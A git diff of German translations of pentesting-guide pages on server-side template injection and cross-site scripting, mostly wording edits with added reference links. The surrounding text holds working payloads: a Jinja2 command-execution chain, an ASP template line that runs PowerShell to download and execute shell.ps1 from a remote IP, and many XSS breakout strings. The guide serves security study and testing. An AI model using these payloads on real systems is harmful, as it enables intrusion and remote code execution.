​​[**RootedCON**](https://www.rootedcon.com/) ist die relevanteste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin. @@ -487,12 +501,12 @@ array("first_name" => $user.first_name) ``` **Mehr Informationen** -* Im Twig und Twig (Sandboxed) Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +* Im Abschnitt Twig und Twig (Sandboxed) von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) -Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht. +Plates ist eine Template-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht. Controller: ```php @@ -586,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors')); * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) +### Anderes PHP + +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Jade (NodeJS) ```javascript - var x = root.process @@ -604,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierender PHP-Templating-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen. +> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen. ```xml This is the main page. @@ -659,11 +679,11 @@ URLencoded: ### JsRender (NodeJS) -| **Template** | **Beschreibung** | +| **Template** | **Beschreibung** | | ------------ | --------------------------------------- | | | Auswerten und Ausgabe rendern | | | Auswerten und HTML-kodierte Ausgabe rendern | -| | Kommentar | +| | Kommentar | | und | Code erlauben (standardmäßig deaktiviert) | * \= 49 @@ -709,6 +729,14 @@ home = pugjs.render(injected_page) * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) +### Andere NodeJS + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### ERB (Ruby) * `{{7*7}} = {{7*7}}` @@ -740,6 +768,14 @@ home = pugjs.render(injected_page) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) +### Anderes Ruby + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Python Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführung, die Sandboxes umgeht** in Python zu lernen: @@ -778,7 +814,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ [Offizielle Website](http://jinja.pocoo.org) -> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert. +> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, ist weit verbreitet und unterliegt der BSD-Lizenz. * `{{7*7}} = Fehler` * `${7*7} = ${7*7}` @@ -830,7 +866,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` -**Weitere Details, wie man Jinja missbrauchen kann**: +**Weitere Details, wie man Jinja ausnutzen kann**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) @@ -850,6 +886,14 @@ ${x} * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) +### Andere Python + +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

+ +

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

+ +* Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) + ### Razor (.Net) * `@(2+2) <= Erfolg` @@ -879,7 +923,7 @@ Die .NET `System.Diagnostics.Process.Start` Methode kann verwendet werden, um je ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` -**Weitere Informationen** +**Mehr Informationen** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) @@ -897,19 +941,21 @@ Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby. Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen: -* `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren. +* `{{ . }}`: Enthüllt die Datenstruktur-Eingabe. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren. * `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen. * `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden. +

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

+ **XSS Exploitation** -Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z.B. `{{""}}` ergibt `<script>alert(1)</script>`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z. B. ergibt `{{""}}` `<script>alert(1)</script>`). Dennoch kann die Template-Definition und -Aufruf in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** -Die RCE-Exploitation unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was in `html/template` nicht gestattet ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/) verfügbar. +Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was in `html/template` nicht gestattet ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/). Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel: ```go diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index b2c81d85b..52ea7aa76 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,8 +1,8 @@ # XSS (Cross Site Scripting) -
+
-Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). +Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} @@ -10,8 +10,8 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack 1. Überprüfen Sie, ob **irgendein Wert, den Sie kontrollieren** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird. 2. **Finden Sie den Kontext**, in dem es reflektiert/verwendet wird. -3. Wenn **reflektiert**: -1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem die Payload vor: +3. Wenn **reflektiert** +1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem den Payload vor: 1. In **rohem HTML**: 1. Können Sie neue HTML-Tags erstellen? 2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen? @@ -28,7 +28,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack 2. Können Sie den String entkommen und anderen JS-Code ausführen? 3. Ist Ihre Eingabe in Template-Literalen \`\`? 4. Können Sie Schutzmaßnahmen umgehen? -4. Javascript **Funktion**, die **ausgeführt wird**: +4. Javascript **Funktion**, die **ausgeführt wird** 1. Sie können den Namen der auszuführenden Funktion angeben. z.B.: `?callback=alert(1)` 4. Wenn **verwendet**: 1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird.** @@ -53,7 +53,7 @@ Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre E ### Rohes HTML -Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="` -3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`** +3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`** 4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`** Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren: @@ -75,8 +75,8 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k In diesem Fall wird Ihre Eingabe zwischen **``** Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`** Protokoll reflektiert: -* Wenn sie zwischen **``** Tags reflektiert wird, können Sie versuchen, `` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `` Tag im HTML-Code enthalten ist. -* Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den **String verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt): +* Wenn sie zwischen **``** Tags reflektiert wird, können Sie versuchen, `` einzufügen und aus diesem Kontext auszubrechen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `` Tag im HTML-Code enthalten ist. +* Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` @@ -120,7 +120,7 @@ parentElement ``` Du kannst auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`. -In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, Endpunkte ohne viel interessantes DOM, **andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen. +In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM, **andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen. Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt: @@ -159,7 +159,7 @@ Wenn deine Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder du HTM Für diese Fälle solltest du auch **im Hinterkopf behalten** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\***** ****`-->`**** ****oder \*\*\*\*****`--!>`**_ -In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könntest du Payloads wie verwenden: +In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könntest du Payloads wie verwenden: ```html @@ -233,7 +233,7 @@ onerror=alert`1` ### Length bypass (kleine XSS) {% hint style="info" %} -**Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me). +**Weitere kleine XSS für verschiedene Umgebungen** Payload [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me). {% endhint %} ```html @@ -241,24 +241,24 @@ onerror=alert`1` `-Tags oder zwischen HTML-Ereignissen, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**. @@ -482,7 +482,7 @@ Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführung ### Innerhalb des JS-Codes -Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code nicht ausgeführt wird, wenn es Fehler gibt: +Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -490,8 +490,8 @@ Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre ``` ### Template literals \`\` -Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke einzubetten** mit der `${ ... }` Syntax.\ -Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen: +Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }`-Syntax **einzubetten**.\ +Wenn Sie also feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen: Dies kann **missbraucht** werden mit: ```javascript @@ -733,23 +733,23 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ```` -## **DOM-Schwachstellen** +## **DOM-Sicherheitsanfälligkeiten** Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\ -**Aufgrund der Erweiterung der Erklärung von** [**DOM-Schwachstellen wurde es auf diese Seite verschoben**](dom-xss.md)**:** +**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} -Dort finden Sie eine detaillierte **Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt**.\ +Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\ Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist. ### Selbst-XSS aufrüsten ### Cookie-XSS -Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine **anfällige Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dafür können Sie den Cookie-Tossing-Angriff verwenden: +Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch einen **anfälligen Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dafür können Sie den Cookie-Tossing-Angriff verwenden: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) @@ -759,7 +759,7 @@ Sie finden einen großartigen Missbrauch dieser Technik in [**diesem Blogbeitrag ### Ihre Sitzung an den Administrator senden -Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Schwachstelle auslösen. +Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Sicherheitsanfälligkeit auslösen. ### Sitzungs-Spiegelung @@ -829,15 +829,15 @@ Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer ### Nur Buchstaben, Zahlen und Punkte -Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können. +Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränken Sie sich auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können. -### Gültige ` ``` * **Modul** (Standard, nichts zu erklären) -* [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können. +* [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei bündeln können. ```html